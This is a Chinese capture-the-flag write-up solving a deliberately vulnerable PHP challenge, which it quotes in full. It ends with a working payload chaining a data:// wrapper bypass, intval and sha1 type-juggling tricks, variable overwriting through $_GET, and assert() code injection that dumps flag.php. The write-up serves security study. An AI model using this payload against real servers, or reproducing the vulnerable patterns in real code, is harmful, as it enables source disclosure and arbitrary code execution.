题目
<?php
require_once('flag.php');
error_reporting(0);
if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
echo "Hello Hacker! Have a look around.\n";
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
$b=1;//;"b"=a$;"2" = b
if($$a !== $k1){
die("lel no\n");
}
// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
echo "Good Job ;)";
// TODO
// echo $flag;
思路
if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}
看到file_get_contents,第一时间想到php伪协议,又是对$msg的数据进行比较,则用data协议嵌入数据进行绕过。结果:msg=data://text/plain,Hello%20Challenge!
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}
intval函数会将$k1中的数字字符串转换为整型,绕过条件是 intval($k1)===$cc & $k1!==$cc,则需要类似$k1='1337abc'。结果:key1=1337a
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
这里需要$k2是纯数字并且数字最后是全角$,全角$的url编码是%EF%BC%84,占3个字符,加上1337,最后需要填充35个字符,一种方法是在1337$前填充35个0,另一种方法是在1337$后填充35个空格,空格用url编码%20。结果:key2=1337$%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
将$k1和$k2互换值。将$cc子串与sha1($cc)进行比较,本质是sha1的强比较,用数组绕过。然后将所有GET参数注册为变量,例如:?foo=bar 会变成 $foo='bar'; 。结果:$cc[]=1
$b=1;//;"b"=a$;"2" = b
用鼠标选择,发现是一个逆序,本质是 $b=1;//;"b"=a$;"2" = b
if($$a !== $k1){
die("lel no\n");
}
$$a本质是$b,需要$k1=2进行绕过,由于前面会将传入的GET参数全部注册为变量,将k1作为GET参数传入即可。结果:k1=2
// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
PHP 8以下版本中,assert("$bb == $cc"); 会被当做PHP代码字符串执行,类似于 eval("$bb == $cc"); ,同样利用GET参数注册为变量的漏洞。结果:bb=show_source('flag.php');//
最终payload:
?msg=data://text/plain,Hello%20Challenge!&key1=1337a&key2=1337$%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&cc[]=1&k1=2&bb=show_source('flag.php');//

被折叠的 条评论
为什么被折叠?



